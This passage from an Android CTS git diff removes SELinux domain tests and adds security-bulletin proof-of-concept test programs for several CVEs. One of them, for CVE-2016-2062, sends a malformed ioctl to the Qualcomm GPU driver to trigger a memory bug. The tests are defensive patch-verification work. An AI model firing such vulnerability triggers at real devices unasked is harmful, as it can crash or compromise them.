-     * Tests that all types on /data have the data_file_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testDataTypeViolators() throws Exception {
-        assertSepolicyTests("TestDataTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all types in /proc have the proc_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testProcTypeViolators() throws Exception {
-        assertSepolicyTests("TestProcTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all types in /sys have the sysfs_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testSysfsTypeViolators() throws Exception {
-        assertSepolicyTests("TestSysfsTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all types on /vendor have the vendor_file_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testVendorTypeViolators() throws Exception {
-        assertSepolicyTests("TestVendorTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all domains with entrypoints on /system have the coredomain
-     * attribute, and that all domains with entrypoints on /vendor do not have the
-     * coredomain attribute.
-     *
-     * @throws Exception
-     */
-    public void testCoredomainViolators() throws Exception {
-        assertSepolicyTests("CoredomainViolations", "/treble_sepolicy_tests");
-    }
-
-   /**
-     * Tests that the policy defines no booleans (runtime conditional policy).
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testNoBooleans() throws Exception {
-
-        /* run sepolicy-analyze booleans check on policy file */
-        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(), "booleans");
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The policy contained booleans:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Tests that important domain labels are being appropriately applied.
-     */
-
-    /**
-     * Asserts that no processes are running in a domain.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     */
-    private void assertDomainEmpty(String domain) throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        String msg = "Expected no processes in SELinux domain \"" + domain + "\""
-            + " Found: \"" + procs + "\"";
-        assertNull(msg, procs);
-    }
-
-    /**
-     * Asserts that a domain exists and that only one, well defined, process is
-     * running in that domain.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executable
-     *  The path of the executable or application package name.
-     */
-    private void assertDomainOne(String domain, String executable) throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-        String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
-            + " Found \"" + procs + "\"";
-        assertNotNull(msg, procs);
-        assertEquals(msg, 1, procs.size());
-
-        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-            + "Found: \"" + procs + "\"";
-        assertEquals(msg, executable, procs.get(0).procTitle);
-
-        msg = "Expected 1 process with executable \"" + executable + "\""
-            + " Found \"" + procs + "\"";
-        assertNotNull(msg, exeProcs);
-        assertEquals(msg, 1, exeProcs.size());
-
-        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-            + "Found: \"" + procs + "\"";
-        assertEquals(msg, domain, exeProcs.get(0).label);
-    }
-
-    /**
-     * Asserts that a domain may exist. If a domain exists, the cardinality of
-     * the domain is verified to be 1 and that the correct process is running in
-     * that domain.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executable
-     *  The path of the executable or application package name.
-     */
-    private void assertDomainZeroOrOne(String domain, String executable)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-
-        if (procs != null) {
-            String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
-            + " Found: \"" + procs + "\"";
-            assertEquals(msg, 1, procs.size());
-
-            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-                + "Found: \"" + procs.get(0) + "\"";
-            assertEquals(msg, executable, procs.get(0).procTitle);
-        }
-
-        if (exeProcs != null) {
-            String msg = "Expected 1 process with executable \"" + executable + "\""
-            + " Found: \"" + procs + "\"";
-            assertEquals(msg, 1, exeProcs.size());
-
-            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
-                + "Found: \"" + procs.get(0) + "\"";
-            assertEquals(msg, domain, exeProcs.get(0).label);
-        }
-    }
-
-    /**
-     * Asserts that a domain must exist, and that the cardinality is greater
-     * than or equal to 1.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executables
-     *  The path of the allowed executables or application package names.
-     */
-    private void assertDomainN(String domain, String... executables)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        String msg = "Expected 1 or more processes in SELinux domain but found none.";
-        assertNotNull(msg, procs);
-
-        Set<String> execList = new HashSet<String>(Arrays.asList(executables));
-
-        for (ProcessDetails p : procs) {
-            msg = "Expected one of \"" + execList + "\" in SELinux domain \"" + domain + "\""
-                + " Found: \"" + p + "\"";
-            assertTrue(msg, execList.contains(p.procTitle));
-        }
-
-        for (String exe : executables) {
-            List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(exe);
-
-            if (exeProcs != null) {
-                for (ProcessDetails p : exeProcs) {
-                    msg = "Expected executable \"" + exe + "\" in SELinux domain \""
-                        + domain + "\"" + " Found: \"" + p + "\"";
-                    assertEquals(msg, domain, p.label);
-                }
-            }
-        }
-    }
-
-    /**
-     * Asserts that a domain, if it exists, is only running the listed executables.
-     *
-     * @param domain
-     *  The domain or SELinux context to check.
-     * @param executables
-     *  The path of the allowed executables or application package names.
-     */
-    private void assertDomainHasExecutable(String domain, String... executables)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-
-        if (procs != null) {
-            Set<String> execList = new HashSet<String>(Arrays.asList(executables));
-
-            for (ProcessDetails p : procs) {
-                String msg = "Expected one of \"" + execList + "\" in SELinux domain \""
-                    + domain + "\"" + " Found: \"" + p + "\"";
-                assertTrue(msg, execList.contains(p.procTitle));
-            }
-        }
-    }
-
-    /**
-     * Asserts that an executable exists and is only running in the listed domains.
-     *
-     * @param executable
-     *  The path of the executable to check.
-     * @param domains
-     *  The list of allowed domains.
-     */
-    private void assertExecutableHasDomain(String executable, String... domains)
-        throws DeviceNotAvailableException {
-        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
-        Set<String> domainList = new HashSet<String>(Arrays.asList(domains));
-
-        String msg = "Expected 1 or more processes for executable \"" + executable + "\".";
-        assertNotNull(msg, exeProcs);
-
-        for (ProcessDetails p : exeProcs) {
-            msg = "Expected one of  \"" + domainList + "\" for executable \"" + executable
-                    + "\"" + " Found: \"" + p.label + "\"";
-            assertTrue(msg, domainList.contains(p.label));
-        }
-    }
-
-    /* Init is always there */
-    @CddTest(requirement="9.7")
-    public void testInitDomain() throws DeviceNotAvailableException {
-        assertDomainHasExecutable("u:r:init:s0", "/init");
-        assertDomainHasExecutable("u:r:vendor_init:s0", "/init");
-        assertExecutableHasDomain("/init", "u:r:init:s0", "u:r:vendor_init:s0");
-    }
-
-    /* Ueventd is always there */
-    @CddTest(requirement="9.7")
-    public void testUeventdDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:ueventd:s0", "/sbin/ueventd");
-    }
-
-    /* healthd may or may not exist */
-    @CddTest(requirement="9.7")
-    public void testHealthdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:healthd:s0", "/system/bin/healthd");
-    }
-
-    /* Servicemanager is always there */
-    @CddTest(requirement="9.7")
-    public void testServicemanagerDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:servicemanager:s0", "/system/bin/servicemanager");
-    }
-
-    /* Vold is always there */
-    @CddTest(requirement="9.7")
-    public void testVoldDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:vold:s0", "/system/bin/vold");
-    }
-
-    /* netd is always there */
-    @CddTest(requirement="9.7")
-    public void testNetdDomain() throws DeviceNotAvailableException {
-        assertDomainN("u:r:netd:s0", "/system/bin/netd", "/system/bin/iptables-restore", "/system/bin/ip6tables-restore");
-    }
-
-    /* Surface flinger is always there */
-    @CddTest(requirement="9.7")
-    public void testSurfaceflingerDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:surfaceflinger:s0", "/system/bin/surfaceflinger");
-    }
-
-    /* Zygote is always running */
-    @CddTest(requirement="9.7")
-    public void testZygoteDomain() throws DeviceNotAvailableException {
-        assertDomainN("u:r:zygote:s0", "zygote", "zygote64");
-    }
-
-    /* Checks drmserver for devices that require it */
-    @CddTest(requirement="9.7")
-    public void testDrmServerDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:drmserver:s0", "/system/bin/drmserver");
-    }
-
-    /* Installd is always running */
-    @CddTest(requirement="9.7")
-    public void testInstalldDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:installd:s0", "/system/bin/installd");
-    }
-
-    /* keystore is always running */
-    @CddTest(requirement="9.7")
-    public void testKeystoreDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:keystore:s0", "/system/bin/keystore");
-    }
-
-    /* System server better be running :-P */
-    @CddTest(requirement="9.7")
-    public void testSystemServerDomain() throws DeviceNotAvailableException {
-        assertDomainOne("u:r:system_server:s0", "system_server");
-    }
-
-    /* Watchdogd may or may not be there */
-    @CddTest(requirement="9.7")
-    public void testWatchdogdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:watchdogd:s0", "/sbin/watchdogd");
-    }
-
-    /* logd may or may not be there */
-    @CddTest(requirement="9.7")
-    public void testLogdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:logd:s0", "/system/bin/logd");
-    }
-
-    /* lmkd may or may not be there */
-    @CddTest(requirement="9.7")
-    public void testLmkdDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:lmkd:s0", "/system/bin/lmkd");
-    }
-
-    /* Wifi may be off so cardinality of 0 or 1 is ok */
-    @CddTest(requirement="9.7")
-    public void testWpaDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
-    }
-
-    /*
-     * Nothing should be running in this domain, cardinality test is all thats
-     * needed
-     */
-    @CddTest(requirement="9.7")
-    public void testInitShellDomain() throws DeviceNotAvailableException {
-        assertDomainEmpty("u:r:init_shell:s0");
-    }
-
-    /*
-     * Nothing should be running in this domain, cardinality test is all thats
-     * needed
-     */
-    @CddTest(requirement="9.7")
-    public void testRecoveryDomain() throws DeviceNotAvailableException {
-        assertDomainEmpty("u:r:recovery:s0");
-    }
-
-    /*
-     * Nothing should be running in this domain, cardinality test is all thats
-     * needed
-     */
-    @CddTest(requirement="9.7")
-    @RestrictedBuildTest
-    public void testSuDomain() throws DeviceNotAvailableException {
-        assertDomainEmpty("u:r:su:s0");
-    }
-
-    /*
-     * All kthreads should be in kernel context.
-     */
-    @CddTest(requirement="9.7")
-    public void testKernelDomain() throws DeviceNotAvailableException {
-        String domain = "u:r:kernel:s0";
-        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
-        if (procs != null) {
-            for (ProcessDetails p : procs) {
-                assertTrue("Non Kernel thread \"" + p + "\" found!", p.isKernel());
-            }
-        }
-    }
-
-    private static class ProcessDetails {
-        public String label;
-        public String user;
-        public int pid;
-        public int ppid;
-        public String procTitle;
-
-        private static HashMap<String, ArrayList<ProcessDetails>> procMap;
-        private static HashMap<String, ArrayList<ProcessDetails>> exeMap;
-        private static int kernelParentThreadpid = -1;
-
-        ProcessDetails(String label, String user, int pid, int ppid, String procTitle) {
-            this.label = label;
-            this.user = user;
-            this.pid = pid;
-            this.ppid = ppid;
-            this.procTitle = procTitle;
-        }
-
-        @Override
-        public String toString() {
-            return "label: " + label
-                    + " user: " + user
-                    + " pid: " + pid
-                    + " ppid: " + ppid
-                    + " cmd: " + procTitle;
-        }
-
-
-        private static void createProcMap(ITestDevice tDevice) throws DeviceNotAvailableException {
-
-            /* take the output of a ps -Z to do our analysis */
-            CollectingOutputReceiver psOut = new CollectingOutputReceiver();
-            // TODO: remove "toybox" below and just run "ps"
-            tDevice.executeShellCommand("toybox ps -A -o label,user,pid,ppid,cmdline", psOut);
-            String psOutString = psOut.getOutput();
-            Pattern p = Pattern.compile(
-                    "^([\\w_:]+)\\s+([\\w_]+)\\s+(\\d+)\\s+(\\d+)\\s+(\\p{Graph}+)(\\s\\p{Graph}+)*\\s*$",
-                    Pattern.MULTILINE);
-            Matcher m = p.matcher(psOutString);
-            procMap = new HashMap<String, ArrayList<ProcessDetails>>();
-            exeMap = new HashMap<String, ArrayList<ProcessDetails>>();
-            while(m.find()) {
-                String domainLabel = m.group(1);
-                String user = m.group(2);
-                int pid = Integer.parseInt(m.group(3));
-                int ppid = Integer.parseInt(m.group(4));
-                String procTitle = m.group(5);
-                ProcessDetails proc = new ProcessDetails(domainLabel, user, pid, ppid, procTitle);
-                if (procMap.get(domainLabel) == null) {
-                    procMap.put(domainLabel, new ArrayList<ProcessDetails>());
-                }
-                procMap.get(domainLabel).add(proc);
-                if (procTitle.equals("[kthreadd]") && ppid == 0) {
-                    kernelParentThreadpid = pid;
-                }
-                if (exeMap.get(procTitle) == null) {
-                    exeMap.put(procTitle, new ArrayList<ProcessDetails>());
-                }
-                exeMap.get(procTitle).add(proc);
-            }
-        }
-
-        public static HashMap<String, ArrayList<ProcessDetails>> getProcMap(ITestDevice tDevice)
-                throws DeviceNotAvailableException{
-            if (procMap == null) {
-                createProcMap(tDevice);
-            }
-            return procMap;
-        }
-
-        public static HashMap<String, ArrayList<ProcessDetails>> getExeMap(ITestDevice tDevice)
-                throws DeviceNotAvailableException{
-            if (exeMap == null) {
-                createProcMap(tDevice);
-            }
-            return exeMap;
-        }
-
-        public boolean isKernel() {
-            return (pid == kernelParentThreadpid || ppid == kernelParentThreadpid);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index f40737f..a46880c 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -27,6 +27,7 @@
         <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
         <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
         <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
+        <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
         <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
         <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
         <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
@@ -49,6 +50,11 @@
         <option name="push" value="CVE-2016-2460->/data/local/tmp/CVE-2016-2460" />
 
         <!--__________________-->
+        <!-- Bulletin 2016-06 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2062->/data/local/tmp/CVE-2016-2062" />
+
+        <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
@@ -56,6 +62,7 @@
 
         <!-- Bulletin 2016-09 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
         <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
 
         <!--__________________-->
@@ -65,6 +72,7 @@
         <!--__________________-->
         <!-- Bulletin 2016-11 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2012-6702->/data/local/tmp/CVE-2012-6702" />
 
         <!--__________________-->
         <!-- Bulletin 2016-12 -->
@@ -144,6 +152,11 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2017-13253->/data/local/tmp/CVE-2017-13253" />
 
+        <!--__________________-->
+        <!-- Bulletin 2018-07 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2018-9424->/data/local/tmp/CVE-2018-9424" />
+
         <option name="append-bitness" value="true" />
     </target_preparer>
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
new file mode 100644
index 0000000..dede1c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2012-6702
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/external/expat/lib/expat.h
+
+LOCAL_SHARED_LIBRARIES := \
+        libc \
+        libexpat \
+        liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
new file mode 100644
index 0000000..ab83a0d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include "expat.h"
+#include <log/log.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAX_SIZE 20
+
+int main(void) {
+  XML_Parser parser;
+  int i;
+  int randomValues[MAX_SIZE];
+  int isDistinctive = 0;
+
+  for (i = 0; i < MAX_SIZE; i++) {
+    parser = XML_ParserCreate("UTF-8");
+    XML_Parse(parser, "", 0, 1);
+    XML_ParserFree(parser);
+    randomValues[i] = rand();
+  }
+
+  for (i = 1; i < MAX_SIZE; i++) {
+    if (randomValues[0] != randomValues[i]) {
+      isDistinctive |= 1;
+    }
+  }
+
+  if (isDistinctive == 0) {
+    //encountered similar values
+    ALOGE("fail: encountered same random values!");
+    return -1;
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
new file mode 100755
index 0000000..65fe025
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2015-8839
+LOCAL_SRC_FILES := poc.c
+
+LOCAL_SHARED_LIBRARIES := libcutils \
+                          liblog
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
new file mode 100755
index 0000000..c6a330f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
@@ -0,0 +1,59 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <cutils/log.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/falloc.h>
+#include <linux/magic.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/utsname.h>
+#include <sys/vfs.h>
+#include <unistd.h>
+
+int main(void) {
+  int fd = -1, result = -1;
+  char tmpFile[32];
+  struct statfs sfs;
+
+  memset(tmpFile, 0, sizeof(tmpFile));
+  strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
+
+  fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
+  if (fd < 0) {
+    ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
+    return -1;
+  }
+
+  fstatfs(fd, &sfs);
+  if (sfs.f_type == EXT4_SUPER_MAGIC) {
+    result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
+    if (result < 0 && errno == EOPNOTSUPP) {
+      ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
+      ALOGE("fallocate result EOPNOTSUPP");
+    }
+  }
+
+  if (fd) {
+    close(fd);
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
new file mode 100755
index 0000000..5e53ee5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2062
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c
new file mode 100644
index 0000000..d8bdbdb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2062/poc.c
@@ -0,0 +1,107 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2016-2062"
+
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <cutils/log.h>
+
+struct kgsl_perfcounter_query {
+  unsigned int groupid;
+  /* Array to return the current countable for up to size counters */
+  unsigned int *countables;
+  unsigned int count;
+  unsigned int max_counters;
+  /* private: reserved for future use */
+  unsigned int __pad[2]; /* For future binary compatibility */
+};
+
+/* ioctls
+ * Refer msm_kgsl.h
+ */
+#define KGSL_IOC_TYPE 0x09
+#define IOCTL_KGSL_PERFCOUNTER_QUERY                                           \
+  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query)
+
+int main() {
+  int fd, ret;
+  struct kgsl_perfcounter_query perf_query;
+
+  fd = open("/dev/kgsl-3d0", O_RDWR);
+  if (fd < 0) {
+    ALOGE("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
+           strerror(errno));
+    exit(EXIT_FAILURE);
+  }
+
+  memset(&perf_query, 0, sizeof(struct kgsl_perfcounter_query));
+
+  /* setup sane params to pass a few checks
+   * set count=0 and countables=NULL to get max_counters
+   * value to allocate memory for countables
+   */
+  perf_query.groupid = 1;
+  perf_query.count = 0;
+  perf_query.countables = NULL;
+
+  ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
+  if (ret < 0) {
+    ALOGE("Error ioctl failed %d (%s)\n", errno,
+           strerror(errno));
+  } else {
+    // Make sure the max_counters within the limit [1:1000]
+    if(perf_query.max_counters > 0 &&
+        perf_query.max_counters < 1000) {
+      perf_query.countables = (unsigned int*) malloc(
+            perf_query.max_counters * sizeof(unsigned int));
+      if(perf_query.countables == NULL) {
+        ALOGE("malloc failed\n");
+      } else {
+        /* bad data creates out of memory issue
+         * Errno 12 (out of memory)
+         */
+        perf_query.count = 0x80000001;
+
+        ret = ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &perf_query);
+        if (ret < 0 && errno == 12) { //ENOMEM(12) error
+          ALOGE("CVE-2016-2062 failed\n");
+        } else {
+          ALOGE("CVE-2016-2062 passed\n");
+        }
+      }
+    }
+  }
+
+  if(NULL != perf_query.countables) {
+    free(perf_query.countables);
+    perf_query.countables = NULL;
+  }
+
+  if (fd > -1)
+    close(fd);
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
index 51e6dd8..f4c50fe 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
@@ -33,6 +33,3 @@
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
-
-$(CTS_TESTCASES_OUT)/CVE-2016-2504 : $(LOCAL_BUILT_MODULE) | $(ACP)
-	$(copy-file-to-target)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
new file mode 100644
index 0000000..204ace1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
